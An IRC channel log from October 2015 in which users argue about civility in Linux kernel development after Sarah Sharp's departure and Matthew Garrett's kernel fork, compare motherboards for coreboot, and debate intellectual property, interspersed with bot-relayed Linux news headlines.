| schestowitz | so such stuff typically is just drama making which in turn severely harms women's rights | Oct 08 00:12 |
| schestowitz | but let's leave gender out of it for now | Oct 08 00:13 |
| schestowitz | because some other people complain about culture in Linux | Oct 08 00:13 |
| schestowitz | LP too | Oct 08 00:13 |
| schestowitz | "open source tea party" man | Oct 08 00:13 |
| schestowitz | they're usuallly hypocrites | Oct 08 00:13 |
| *schestowitz has quit (Quit: Konversation terminated!) | Oct 08 00:14 | |
| MinceR | they can push cancerd together | Oct 08 00:14 |
| MinceR | and global censorship too! | Oct 08 00:14 |
| cubexyz | it's not just Linux | Oct 08 00:15 |
| cubexyz | the BSD community is a bit exclusionistic | Oct 08 00:15 |
| cubexyz | the old US vs Them mentality | Oct 08 00:17 |
| MinceR | msb_: i think it's this one: http://sarah.thesharps.us/2015/10/05/closing-a-door/ | Oct 08 00:24 |
| -TechrightsBot-tr/#techrights-sarah.thesharps.us | Closing a door | The Geekess | Oct 08 00:25 | |
| MinceR | (linked from the hungarian news post on the matter) | Oct 08 00:25 |
| cubexyz | ok, I've found a motherboard that could be very close to ideal | Oct 08 00:29 |
| cubexyz | Gigabyte GA-B75M-D3V | Oct 08 00:29 |
| cubexyz | dual BIOS/UEFI with two 64Mbit flash chips | Oct 08 00:30 |
| cubexyz | good for tinkering | Oct 08 00:30 |
| cubexyz | you can flash it with coreboot without fear of bricking it | Oct 08 00:30 |
| cubexyz | MSI is also worthy of consideration | Oct 08 00:32 |
| cubexyz | the ship firmware update tools for Linux | Oct 08 00:32 |
| cubexyz | s/the/they/ | Oct 08 00:33 |
| cubexyz | looks like the Gigabyte board still has a parallel port and VGA connector, even better | Oct 08 00:35 |
| cubexyz | all solid capacitors | Oct 08 00:36 |
| cubexyz | LGA1155 socket | Oct 08 00:38 |
| TweetTuxMachines | @tuxmachines Links 8/10/2015: KDE Plasma 5.4.2 Released, | Oct 08 00:40 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Leftovers: Software | Tux Machines | Oct 08 00:41 | |
| cubexyz | msb_, here is the CPU support list for that motherboard: | Oct 08 00:48 |
| cubexyz | http://www.gigabyte.com/support-downloads/cpu-support-popup.aspx?pid=4654 | Oct 08 00:48 |
| -TechrightsBot-tr/#techrights-www.gigabyte.com | GIGABYTE TECHNOLOGY Socket 1155 - Intel B75 - GA-B75M-D3V (rev. 2.0) [ http://ur1.ca/nycxp ] | Oct 08 00:48 | |
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| *TweetTuxMachines @The_Code_Shirts retweeted @tuxmachines: 'Links 8/10/2015: KDE Plasma 5.4.2 Released, Linux Drama...' | Oct 08 00:49 | |
| cubexyz | Core i3-2120T looks interesting, only 35W | Oct 08 00:49 |
| cubexyz | Xeon E3-1220L only 20W | Oct 08 00:50 |
| *jono has quit (Quit: This computer has gone to sleep) | Oct 08 00:50 | |
| msb_ | This is just about attacks from MS [ http://ur1.ca/nyco6 ]. | Oct 08 00:51 |
| -TechrightsBot-tr/#techrights-www.reddit.com | The ‘Microsoft Loves Linux’ Baloney is Still Being Floated in the Media While Microsoft Attacks Linux With Patents, New Lawsuits Reported (/r/linux) : mistyfront | Oct 08 00:51 | |
| msb_ | This one is relevant -- thanks MinceR -- http://sarah.thesharps.us/2015/10/05/closing-a-door/ . | Oct 08 00:52 |
| -TechrightsBot-tr/#techrights-sarah.thesharps.us | Closing a door | The Geekess | Oct 08 00:52 | |
| msb_ | Even Robert Pogson agrees that "Linus and others are wrong to treat abuse as emphasis. It’s not. It’s bullying," Isn't Pogson a good guy? | Oct 08 00:54 |
| cubexyz | you can disagree with Linus and still be a good guy | Oct 08 00:55 |
| cubexyz | I certainly don't agree with everything he says | Oct 08 00:55 |
| msb_ | Right. That's what I'm saying. | Oct 08 00:55 |
| MinceR | i certainly disagree with him on several matters | Oct 08 00:57 |
| msb_ | He's accepting systemd for one thing. | Oct 08 00:57 |
| MinceR | indeed. also, fedora. | Oct 08 00:57 |
| msb_ | Maybe Sharp is right, and a more civil atmosphere on LKML would have good results, like encouraging more women to participate. An environment that discourages half the human race is not good. | Oct 08 00:59 |
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| MinceR | encouraging people to silence and censor others is also not good | Oct 08 01:00 |
| XFaCE | MinceR: Lennart endorses Garrettix in 5 4 3 2... | Oct 08 01:00 |
| MinceR | continually and increasingly neutering language for the sake of political correctness is also not good | Oct 08 01:01 |
| cubexyz | double plus ungood | Oct 08 01:02 |
| MinceR | http://media.dcentertainment.com/sites/default/files/imce/2015/10-OCT/MAD-Magazine-Ben-Carson-Neurosurges-Himself_56156b98604c96.90064117.jpg | Oct 08 01:02 |
| XFaCE | MinceR: seriously tho, this scares the shit out of me | Oct 08 01:03 |
| msb_ | cubexyz: Are any of the cpus handled by that gigabyte board 8-core, $200, with speed near the AMD FX-8350? | Oct 08 01:03 |
| MinceR | there are plenty of things to scare the shit out of anybody now | Oct 08 01:03 |
| XFaCE | MinceR: Corporate influence "backing" Garrett's kernel | Oct 08 01:04 |
| MinceR | what, garrett forked linux? | Oct 08 01:04 |
| MinceR | apparently so | Oct 08 01:04 |
| XFaCE | yep | Oct 08 01:04 |
| MinceR | can the redcrap guys please fuck off and go pollute garrett's kernel then? | Oct 08 01:04 |
| MinceR | they can take their bloody kdbus too | Oct 08 01:05 |
| XFaCE | if only | Oct 08 01:05 |
| XFaCE | actually no | Oct 08 01:05 |
| XFaCE | MinceR: then an agenda begins | Oct 08 01:05 |
| XFaCE | and Garrettix becomes the "morally good" kernel project | Oct 08 01:05 |
| MinceR | that's fine, i don't plan on using it anyway | Oct 08 01:05 |
| cubexyz | for gaming the experts are saying I5 over AMD | Oct 08 01:07 |
| cubexyz | but I'm not too worried about that | Oct 08 01:07 |
| XFaCE | MinceR: : Garrettux is the only moral choice | Oct 08 01:08 |
| MinceR | the sjws can have systemd/garrettix for all i care | Oct 08 01:08 |
| MinceR | they can even lock gnome and kde into it | Oct 08 01:08 |
| cubexyz | quoting: "i5 2500K >>>>> FX 8150" | Oct 08 01:08 |
| cubexyz | depends on what you use your computer for... for me, it's not a big deal either way | Oct 08 01:08 |
| MinceR | XFaCE: yeah, one more group with their own bullshit "morality", like christians | Oct 08 01:09 |
| XFaCE | MinceR: meet the new boss, same as the old boss | Oct 08 01:09 |
| MinceR | i'm tired of people with unwarranted self-importance but no technical skills trying to fuck up everything for everyone | Oct 08 01:09 |
| msb_ | Abusive language is not necessary for criticizing code. And if it discourages women from participating, then it should not be used. Abusive language is a form of domination, with a winner and a loser. We need to get away from that. | Oct 08 01:11 |
| MinceR | except what they're doing is also a form of domination | Oct 08 01:11 |
| MinceR | what the UN is doing with it should make that obvious. | Oct 08 01:12 |
| XFaCE | MinceR: I just shuddered | Oct 08 01:13 |
| msb_ | Sharp is withdrawing and calmly criticizing. That's not domination. | Oct 08 01:13 |
| XFaCE | MinceR: what if this Garrettix leads to a Microsoft Linux | Oct 08 01:13 |
| MinceR | there have been m$ linuxes for a while already | Oct 08 01:13 |
| MinceR | suse, for example | Oct 08 01:13 |
| XFaCE | yeah but, the kernel itself | Oct 08 01:14 |
| XFaCE | NTLinux or some shit | Oct 08 01:14 |
| MinceR | that's fine, as long as they don't force it on me | Oct 08 01:14 |
| XFaCE | MinceR: I'm betting that'll be the case for 30 seconds | Oct 08 01:14 |
| MinceR | they already have their atrocious code in the official linux tree | Oct 08 01:14 |
| cubexyz | you just have to check everything | Oct 08 01:15 |
| MinceR | it's about as shitty as you'd expect | Oct 08 01:15 |
| cubexyz | check the OS, check the firmware, check the motherboard... | Oct 08 01:15 |
| MinceR | we'd have to build a free computer from the ground up anyway | Oct 08 01:15 |
| XFaCE | cubexyz: Now Systemd can link to your Microsoft account (TM)! | Oct 08 01:15 |
| MinceR | lol | Oct 08 01:15 |
| cubexyz | not on openbsd it can't :) | Oct 08 01:15 |
| cubexyz | I bet I see some conversions... | Oct 08 01:16 |
| XFaCE | microsoftd | Oct 08 01:16 |
| XFaCE | cubexyz: Plan 9 | Oct 08 01:16 |
| XFaCE | Linux-libre too | Oct 08 01:16 |
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| *Topic for #techrights set by schestowitz!~schestowi@unaffiliated/schestowitz at Sat Jun 9 18:16:19 2012 | Oct 08 08:18 | |
| schestowitz | https://twitter.com/Morality124/status/651916331034509312 | Oct 08 08:19 |
| -TechrightsBot-tr/#techrights-@Morality124: @mundanematt Can you talk about this next? http://t.co/kCJehn7aJP | Oct 08 08:19 | |
| -TechrightsBot-tr/#techrights--> techrights.org | Hypocrite Forks the Linux Kernel Because of Cultural Characteristics That He Himself is Guilty of | Techrights | Oct 08 08:19 | |
| schestowitz | https://www.joindiaspora.com/posts/6677584 | Oct 08 08:20 |
| -TechrightsBot-tr/#techrights-@meitar@joindiaspora.com: Fuck Christopher Columbus, who was a genocidal greedy piece of human garbage. Fuck white supremacy, a system of globalized murder and oppression from which I benefit and STILL have a worse life than I could have had if white supremacy was eradicated like the plague it is. Fuck settler-colonialism, the forced relocation and cultural ethnocide of the poor and working class at the hands of violent enforcers of the r | Oct 08 08:20 | |
| -TechrightsBot-tr/#techrights--> www.youtube.com | #WhyImMarchingOct12, Abolish Columbus Day, Maymay - YouTube | Oct 08 08:20 | |
| schestowitz | https://twitter.com/ale_fattorini/status/652021456948301824 | Oct 08 08:30 |
| -TechrightsBot-tr/#techrights-@ale_fattorini: @schestowitz do you have tested NethServer yet? | Oct 08 08:30 | |
| schestowitz | No, haven't had to yet | Oct 08 08:30 |
| schestowitz | I am still trying to catch up with diaspora (comments included, weeks' worth), but the site is too slow/unavailable, for now... | Oct 08 08:43 |
| schestowitz | https://twitter.com/littlecornwall/status/652026260412080128 | Oct 08 08:44 |
| -TechrightsBot-tr/#techrights-@littlecornwall: @schestowitz Probably because #Murdoch thinks that "real blacks" listen to their white slave masters!! | Oct 08 08:44 | |
| schestowitz | https://twitter.com/floryn90/status/652015458934255616 | Oct 08 08:45 |
| -TechrightsBot-tr/#techrights-@floryn90: RT Morality124: .Sargon_of_Akkad TheRalphRetort MisterMetokur #SJW forks the #Linux kernel over Linus Torvalds bei… https://t.co/91lMsxBBpw | Oct 08 08:45 | |
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| -TechrightsBot-tr/#techrights-dot.kde.org | KDE Signs the User Data Manifesto 2.0 | KDE.news | Oct 08 08:47 | |
| TweetTuxMachines | @ale_fattorini @tuxmachines do you have tested NethServer yet? | Oct 08 08:47 |
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| schestowitz | https://twitter.com/ale_fattorini/status/652027290658959360 | Oct 08 08:50 |
| -TechrightsBot-tr/#techrights-@ale_fattorini: @schestowitz is it interesting for you? What are your feelings? | Oct 08 08:50 | |
| schestowitz | I have heard about it for a couple of years, I support the idea | Oct 08 08:51 |
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| TweetTuxMachines | @tuxmachines http://t.co/5UXTIpJEQ8 (2016.gnome.asia) Summit | Oct 08 09:28 |
| TweetTuxMachines | 2016 to be held in Delhi, India | Oct 08 09:28 |
| -TechrightsBot-tr/#techrights-2016.gnome.asia | | Oct 08 09:28 | |
| TweetTuxMachines | https://t.co/HpD8RTqdFv (www.gnome.org) | Oct 08 09:28 |
| TweetTuxMachines | ........................................ http://ur1.ca/nygmn | Oct 08 09:28 |
| -TechrightsBot-tr/#techrights-www.gnome.org | GNOME.Asia Summit 2016 to be held in Delhi, India – GNOME | Oct 08 09:28 | |
| TweetTuxMachines | @tuxmachines Paul Smith: Red Hat Hosts IT Event on Open | Oct 08 09:28 |
| TweetTuxMachines | Source Tools in Government | Oct 08 09:28 |
| TweetTuxMachines | http://t.co/xnhSaDFNaG (www.govconwire.com) | Oct 08 09:28 |
| TweetTuxMachines | ........................................ http://ur1.ca/nygmp | Oct 08 09:28 |
| -TechrightsBot-tr/#techrights-www.govconwire.com | Paul Smith: Red Hat Hosts IT Event on Open Source Tools in Government | Oct 08 09:28 | |
| TweetTuxMachines | @tuxmachines Manjaro Cinnamon Edition 15.09-1 released | Oct 08 09:28 |
| TweetTuxMachines | https://t.co/zzIUUACc5C (manjaro.github.io) | Oct 08 09:28 |
| TweetTuxMachines | ........................................ http://ur1.ca/nygmq | Oct 08 09:28 |
| -TechrightsBot-tr/#techrights-manjaro.github.io | Manjaro Cinnamon Edition 15.09-1 released – Manjaro Linux – Enjoy the simplicity | Oct 08 09:28 | |
| TweetTuxMachines | @tuxmachines Proposed Principles for Content Blocking | Oct 08 09:59 |
| TweetTuxMachines | http://t.co/iilOvHwSWc (www.tuxmachines.org) | Oct 08 09:59 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Proposed Principles for Content Blocking | Tux Machines | Oct 08 09:59 | |
| TweetTuxMachines | @tuxmachines Raspbian Jessie Lives Up to the Hype | Oct 08 09:59 |
| TweetTuxMachines | http://t.co/6g84CFOrhL (fossforce.com) | Oct 08 09:59 |
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| -TechrightsBot-tr/#techrights-fossforce.com | Raspbian Jessie Lives Up to the Hype | FOSS Force | Oct 08 09:59 | |
| TweetTuxMachines | @tuxmachines Linux Security: Lock Down a New System | Oct 08 09:59 |
| TweetTuxMachines | Immediately http://t.co/odcnGqh3MD | Oct 08 09:59 |
| TweetTuxMachines | (thelinuxworks.blogspot.co.uk) | Oct 08 09:59 |
| -TechrightsBot-tr/#techrights-thelinuxworks.blogspot.co.uk | The Linux Works: Linux Security: Lock Down a New System Immediately | Oct 08 09:59 | |
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| schestowitz | http://ubuntuforums.org/showthread.php?t=2297282 | Oct 08 10:00 |
| -TechrightsBot-tr/#techrights-ubuntuforums.org | Rumor that Microsoft is buying Canonical and Ubuntu [ http://ur1.ca/nygud ] | Oct 08 10:00 | |
| schestowitz | https://twitter.com/ale_fattorini/status/652046792901677056 | Oct 08 10:05 |
| -TechrightsBot-tr/#techrights-@ale_fattorini: @schestowitz good to know! I want know more about your tests, please keep me in touch :-) | Oct 08 10:05 | |
| schestowitz | https://twitter.com/smmsadrnezh/status/652046697321865216 | Oct 08 10:06 |
| -TechrightsBot-tr/#techrights-@smmsadrnezh: مایکروسافت تمام تلاشش رو میکنه تا همرو مجبور کنه به ویندوز ۱۰ آپگرید کنن درحالیکه مردم بیشتر کرومبوک میخرن این روزا http://t.co/o3JuaGjCjI | Oct 08 10:06 | |
| -TechrightsBot-tr/#techrights--> techrights.org | Microsoft-Connected Firm Net Applications Used to Mislead About Vista 10 Share and Mock GNU/Linux | Techrights | Oct 08 10:06 | |
| gde33 | Here is a nice idea to move away from the paradigm: In stead of having society pay for all this intelectual propertarding we should make the ip holder pay a montly fee for all this enforcement we are buying + 20% taxes. | Oct 08 10:11 |
| gde33 | Each item of music or video that needs to be filtered out has a quantifiable cost. | Oct 08 10:12 |
| gde33 | Each patent not implemented costs society a good bit of progress. | Oct 08 10:13 |
| msb_ | "Proposed Principles for Content Blocking" -- Nope. The very first thing I want to block is advertising. Which I do with AdBlockPlus. | Oct 08 10:14 |
| gde33 | I'm against all IP, the only one I'm doubting is trademarks | Oct 08 10:15 |
| gde33 | We are suppose to believe people will stop making music or medicine without it. | Oct 08 10:15 |
| gde33 | The opposite is true | Oct 08 10:16 |
| gde33 | We already have a billion songs that no one is suppose to freely access. | Oct 08 10:16 |
| gde33 | And a billion cures | Oct 08 10:16 |
| gde33 | in stead of sharing those things they are being destroyed | Oct 08 10:17 |
| msb_ | There are some things we still need a cure for -- AIDS, aging... | Oct 08 10:17 |
| gde33 | IP is just to cheap, people hold rights until the very things the rights apply to are gone. | Oct 08 10:18 |
| gde33 | why would you think there is no cure for aids or aging? | Oct 08 10:18 |
| gde33 | you seem to mis the core mechanic of ip secrecy | Oct 08 10:18 |
| gde33 | there is no excuse in those 2 examples to keep millions of drugs off the market | Oct 08 10:19 |
| gde33 | I'm not willing to pay for the enforcement of that scheme | Oct 08 10:19 |
| gde33 | It completely mimics the Spanish Inquisition | Oct 08 10:20 |
| gde33 | the similarities are striking | Oct 08 10:20 |
| gde33 | this idea that without ip there wouldnt be healthcare. bwhaha | Oct 08 10:21 |
| gde33 | if we dont hire a million lawyers with public funds we cant afford to do research anymore. bwhaha | Oct 08 10:21 |
| gde33 | a million lawyers costing 100 k each | Oct 08 10:22 |
| msb_ | You are misinterpreting what I said. You said, "[we have] a billion cures", and I just said we still need a few more. I was not commenting on IP. | Oct 08 10:23 |
| gde33 | what do you mean we need a few more? | Oct 08 10:23 |
| schestowitz | https://twitter.com/PositivelyJoan/status/652050501790527488 | Oct 08 10:23 |
| -TechrightsBot-tr/#techrights-@PositivelyJoan: Bill Gates Criticised for Doing With Monsanto What He Did With Microsoft http://t.co/owA81usQ8B Like #Koch, philanthropist my ASSett! #GMOs | Oct 08 10:23 | |
| -TechrightsBot-tr/#techrights--> linkis.com | Bill Gates Criticised for Doing With Monsanto What He Did With Microsoft | Techrights - Linkis.com | Oct 08 10:23 | |
| gde33 | if you think we need that you should spend your money on it :) | Oct 08 10:24 |
| gde33 | might be interesting | Oct 08 10:24 |
| gde33 | do a kickstarter for some disease | Oct 08 10:24 |
| TweetTuxMachines | @tuxmachines Microsoft Ubuntu Rumors and Kernel Resignation | Oct 08 10:42 |
| TweetTuxMachines | Opinions http://t.co/gjPIbpHirA (ostatic.com) | Oct 08 10:42 |
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| -TechrightsBot-tr/#techrights-ostatic.com | Microsoft Ubuntu Rumors and Kernel Resignation Opinions | Oct 08 10:42 | |
| TweetTuxMachines | @tuxmachines Ubuntu Is Planning To Make The ZFS File-System | Oct 08 10:42 |
| TweetTuxMachines | A "Standard" Offering http://t.co/60BCUQbk8Z | Oct 08 10:42 |
| TweetTuxMachines | (www.phoronix.com) | Oct 08 10:42 |
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| -TechrightsBot-tr/#techrights-www.phoronix.com | Ubuntu Is Planning To Make The ZFS File-System A "Standard" Offering - Phoronix | Oct 08 10:42 | |
| TweetTuxMachines | @tuxmachines Android-x86 5.1-RC1 Is Now Out: Mesa OpenGL ES | Oct 08 10:42 |
| TweetTuxMachines | & UEFI Fun http://t.co/cAf4CZhptR | Oct 08 10:42 |
| TweetTuxMachines | (www.phoronix.com) | Oct 08 10:42 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyh4h | Oct 08 10:42 |
| -TechrightsBot-tr/#techrights-www.phoronix.com | Android-x86 5.1-RC1 Is Now Out: Mesa OpenGL ES & UEFI Fun - Phoronix | Oct 08 10:42 | |
| TweetTuxMachines | @tuxmachines Red Hat News http://t.co/4ZkTLJXVyr | Oct 08 10:42 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 08 10:42 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Red Hat News | Tux Machines | Oct 08 10:42 | |
| TweetTuxMachines | @tuxmachines One Uncle's gift of Linux | Oct 08 10:42 |
| TweetTuxMachines | http://t.co/iPLRa07U8s (www.tuxmachines.org) | Oct 08 10:42 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyh4k | Oct 08 10:42 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | One Uncle's gift of Linux | Tux Machines | Oct 08 10:42 | |
| TweetTuxMachines | @tuxmachines Ubuntu Touch OTA-7 Will Arrive on October 19 | Oct 08 10:42 |
| TweetTuxMachines | for All Ubuntu Phones http://t.co/ZvPPG7UYJM | Oct 08 10:42 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 08 10:42 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Ubuntu Touch OTA-7 Will Arrive on October 19 for All Ubuntu Phones | Tux Machines | Oct 08 10:42 | |
| TweetTuxMachines | @tuxmachines systemd 227 Is a Major Release That Adds a Lot | Oct 08 10:42 |
| TweetTuxMachines | of Awesome New Features http://t.co/6dkh5Q8CX2 | Oct 08 10:42 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 08 10:42 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | systemd 227 Is a Major Release That Adds a Lot of Awesome New Features | Tux Machines | Oct 08 10:42 | |
| *XRevan86 (~XRevan86@meowr.ru) has joined #techrights | Oct 08 10:45 | |
| TweetTuxMachines | @tuxmachines Track the night sky with Stellarium on Fedora | Oct 08 10:58 |
| TweetTuxMachines | http://t.co/QmXjvoFigw (www.tuxmachines.org) | Oct 08 10:58 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyh8a | Oct 08 10:58 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Track the night sky with Stellarium on Fedora | Tux Machines | Oct 08 10:58 | |
| TweetTuxMachines | @tuxmachines Magicka 2 Looks Like It Will Land On Linux | Oct 08 10:58 |
| TweetTuxMachines | Soon, Having Final Tweaks | Oct 08 10:58 |
| TweetTuxMachines | https://t.co/0XvyyMDJap (www.gamingonlinux.com) | Oct 08 10:58 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyh8e | Oct 08 10:58 |
| -TechrightsBot-tr/#techrights-www.gamingonlinux.com | Magicka 2 Looks Like It Will Land On Linux Soon, Having Final Tweaks | GamingOnLinux | Oct 08 10:59 | |
| TweetTuxMachines | @tuxmachines “Linux To Be A First Class Citizen Here” | Oct 08 10:59 |
| TweetTuxMachines | http://t.co/InXFeIvgev (www.gamingonlinux.com) | Oct 08 10:59 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyh8j | Oct 08 10:59 |
| -TechrightsBot-tr/#techrights-www.gamingonlinux.com | Testers Needed For 'Quasar' An Online Bullet Hell Space Shooter, Linux To Be A First Class Citizen Here | GamingOnLinux | Oct 08 10:59 | |
| TweetTuxMachines | @tuxmachines “in spite of Linux being a stretch goal that | Oct 08 11:01 |
| TweetTuxMachines | wasn’t reached, the game got a day-one release | Oct 08 11:01 |
| TweetTuxMachines | for Linux yesterday.” https://t.co/uBVGOFlIzz | Oct 08 11:01 |
| TweetTuxMachines | (www.gamingonlinux.com) | Oct 08 11:01 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyh98 | Oct 08 11:01 |
| -TechrightsBot-tr/#techrights-www.gamingonlinux.com | Cyberpunk Adventure 'Read Only Memories' Released DRM Free And On Steam, Has Demo | GamingOnLinux | Oct 08 11:01 | |
| *TweetTuxMachines @ROM2064 retweeted @tuxmachines: '“in spite of Linux being a stretch goal...' | Oct 08 11:01 | |
| *TweetTuxMachines @GXdev retweeted @tuxmachines: '“in spite of Linux being a stretch goal...' | Oct 08 11:01 | |
| *TweetTuxMachines @WeAreMidBoss retweeted @tuxmachines: '“in spite of Linux being a stretch goal...' | Oct 08 11:03 | |
| TweetTuxMachines | @tuxmachines Unprivileged eBPF Support In The Works For The | Oct 08 11:03 |
| TweetTuxMachines | Linux Kernel http://t.co/2ZSJbTaXDt | Oct 08 11:03 |
| TweetTuxMachines | (www.phoronix.com) | Oct 08 11:03 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyh9w | Oct 08 11:03 |
| -TechrightsBot-tr/#techrights-www.phoronix.com | Unprivileged eBPF Support In The Works For The Linux Kernel - Phoronix | Oct 08 11:03 | |
| *TweetTuxMachines @doorfighter favourited '“in spite of Linux being a stretch goal...' | Oct 08 11:08 | |
| *TweetTuxMachines @dialecticube favourited '“in spite of Linux being a stretch goal...' | Oct 08 11:08 | |
| *TweetTuxMachines @RedVonix favourited '“in spite of Linux being a stretch goal...' | Oct 08 11:16 | |
| TweetTuxMachines | @tuxmachines Linksys unveils Linux-powered WRT1900ACS router | Oct 08 11:16 |
| TweetTuxMachines | -- open source, faster CPU, more RAM | Oct 08 11:16 |
| TweetTuxMachines | http://t.co/YCEMb95uhc (betanews.com) | Oct 08 11:16 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyhe1 | Oct 08 11:16 |
| -TechrightsBot-tr/#techrights-betanews.com | Linksys unveils Linux-powered WRT1900ACS router -- open source, faster CPU, more RAM | Oct 08 11:16 | |
| TweetTuxMachines | @tuxmachines Puppy Linux-Based Quirky 7.2 Distro for Android | Oct 08 11:20 |
| TweetTuxMachines | Devs Gets Major X11 Update | Oct 08 11:20 |
| TweetTuxMachines | http://t.co/WGyP1d4m7p (news.softpedia.com) | Oct 08 11:20 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyhf7 | Oct 08 11:20 |
| -TechrightsBot-tr/#techrights-news.softpedia.com | Puppy Linux-Based Quirky 7.2 Distro for Android Devs Gets Major X11 Update - Softpedia | Oct 08 11:20 | |
| TweetTuxMachines | @tuxmachines Linux Kernel 3.12.49 LTS Out Now with PowerPC | Oct 08 11:20 |
| TweetTuxMachines | and ARM64 Improvements, More | Oct 08 11:20 |
| TweetTuxMachines | http://t.co/Cc9596CfjJ (news.softpedia.com) | Oct 08 11:20 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyhf8 | Oct 08 11:20 |
| -TechrightsBot-tr/#techrights-news.softpedia.com | Linux Kernel 3.12.49 LTS Out Now with PowerPC and ARM64 Improvements, More - Softpedia | Oct 08 11:20 | |
| TweetTuxMachines | @tuxmachines HP and pals release open source switch OS | Oct 08 11:21 |
| TweetTuxMachines | http://t.co/7IqkNsj4hf (www.theregister.co.uk) | Oct 08 11:21 |
| TweetTuxMachines | "NOS is Linux-based." | Oct 08 11:21 |
| -TechrightsBot-tr/#techrights-www.theregister.co.uk | HP and pals release open source switch OS • The Register | Oct 08 11:21 | |
| TweetTuxMachines | ........................................ http://ur1.ca/nyhf9 | Oct 08 11:21 |
| TweetTuxMachines | @tuxmachines Enlightenment 0.19.12 Desktop Environment Drops | Oct 08 11:26 |
| TweetTuxMachines | Support for Wayland http://t.co/GijwOJed3c | Oct 08 11:26 |
| TweetTuxMachines | (news.softpedia.com) | Oct 08 11:26 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyhgr | Oct 08 11:26 |
| -TechrightsBot-tr/#techrights-news.softpedia.com | Enlightenment 0.19.12 Desktop Environment Drops Support for Wayland - Softpedia | Oct 08 11:26 | |
| TweetTuxMachines | @tuxmachines Calligra Words Port to KDE Frameworks 5 and Qt | Oct 08 11:26 |
| TweetTuxMachines | 5 Now Complete, Here's How It Looks | Oct 08 11:26 |
| TweetTuxMachines | http://t.co/AU4ZDZDF8j (news.softpedia.com) | Oct 08 11:26 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyhgs | Oct 08 11:26 |
| -TechrightsBot-tr/#techrights-news.softpedia.com | Calligra Words Port to KDE Frameworks 5 and Qt 5 Now Complete, Here's How It Looks - Softpedia | Oct 08 11:26 | |
| TweetTuxMachines | @tuxmachines One Uncle's gift of Linux | Oct 08 11:26 |
| TweetTuxMachines | http://t.co/SOeRts13nv (opensource.com) | Oct 08 11:26 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyhgt | Oct 08 11:26 |
| -TechrightsBot-tr/#techrights-opensource.com | Anderson Silva: My Linux Story | Opensource.com | Oct 08 11:26 | |
| *TweetTuxMachines @techmuser favourited 'One Uncle's gift of Linux http://t.co/SOeRts13nv' | Oct 08 11:26 | |
| *TweetTuxMachines @samkamyar favourited 'One Uncle's gift of Linux http://t.co/SOeRts13nv' | Oct 08 11:27 | |
| *TweetTuxMachines @samkamyar followed @tuxmachines | Oct 08 11:27 | |
| TweetTuxMachines | @tuxmachines Ubuntu Touch OTA-7 Will Arrive on October 19 | Oct 08 11:27 |
| TweetTuxMachines | for All Ubuntu Phones http://t.co/SOeRts13nv | Oct 08 11:27 |
| TweetTuxMachines | (opensource.com) | Oct 08 11:27 |
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| TweetTuxMachines | @tuxmachines systemd 227 Is a Major Release That Adds a Lot | Oct 08 11:34 |
| TweetTuxMachines | of Awesome New Features http://t.co/oqnz34sgUR | Oct 08 11:34 |
| TweetTuxMachines | (news.softpedia.com) | Oct 08 11:34 |
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| TweetTuxMachines | @tuxmachines Track the night sky with Stellarium on Fedora | Oct 08 11:34 |
| TweetTuxMachines | http://t.co/qzRaIFzmzZ (fedoramagazine.org) | Oct 08 11:34 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyhja | Oct 08 11:34 |
| -TechrightsBot-tr/#techrights-news.softpedia.com | systemd 227 Is a Major Release That Adds a Lot of Awesome New Features - Softpedia | Oct 08 11:34 | |
| -TechrightsBot-tr/#techrights-fedoramagazine.org | Track the night sky with Stellarium on Fedora - Fedora Magazine | Oct 08 11:34 | |
| TweetTuxMachines | @tuxmachines September update for Plasma’s Wayland porting | Oct 08 11:34 |
| TweetTuxMachines | http://t.co/n7D2Ukakmf | Oct 08 11:34 |
| TweetTuxMachines | (blog.martin-graesslin.com) | Oct 08 11:34 |
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| -TechrightsBot-tr/#techrights-blog.martin-graesslin.com | September update for Plasma’s Wayland porting | Martin's Blog | Oct 08 11:34 | |
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| TweetTuxMachines | @tuxmachines Team Fortress 2 Gets Big Community Update on | Oct 08 11:51 |
| TweetTuxMachines | Steam for Linux http://t.co/r7LBxXoaGv | Oct 08 11:51 |
| TweetTuxMachines | (news.softpedia.com) | Oct 08 11:51 |
| -TechrightsBot-tr/#techrights-news.softpedia.com | Team Fortress 2 Gets Big Community Update on Steam for Linux - Softpedia | Oct 08 11:51 | |
| TweetTuxMachines | ........................................ http://ur1.ca/nyhoc | Oct 08 11:51 |
| TweetTuxMachines | @tuxmachines Manjaro Linux Devs Are in Search for a New Logo | Oct 08 11:51 |
| TweetTuxMachines | for the Project http://t.co/ayToLs1gcB | Oct 08 11:51 |
| TweetTuxMachines | (news.softpedia.com) | Oct 08 11:51 |
| -TechrightsBot-tr/#techrights-news.softpedia.com | Manjaro Linux Devs Are in Search for a New Logo for the Project - Softpedia | Oct 08 11:51 | |
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| *TweetTuxMachines @tuxmachines deleted 'Ubuntu Touch OTA-7 Will Arrive on October 19...' | Oct 08 11:51 | |
| TweetTuxMachines | @tuxmachines Ubuntu Touch OTA-7 Will Arrive on October 19 | Oct 08 11:51 |
| TweetTuxMachines | for All Ubuntu Phones http://t.co/LpyYKfbcs5 | Oct 08 11:51 |
| TweetTuxMachines | (linux.softpedia.com) | Oct 08 11:51 |
| -TechrightsBot-tr/#techrights-linux.softpedia.com | Ubuntu Touch OTA-7 Will Arrive on October 19 for All Ubuntu Phones - Softpedia | Oct 08 11:51 | |
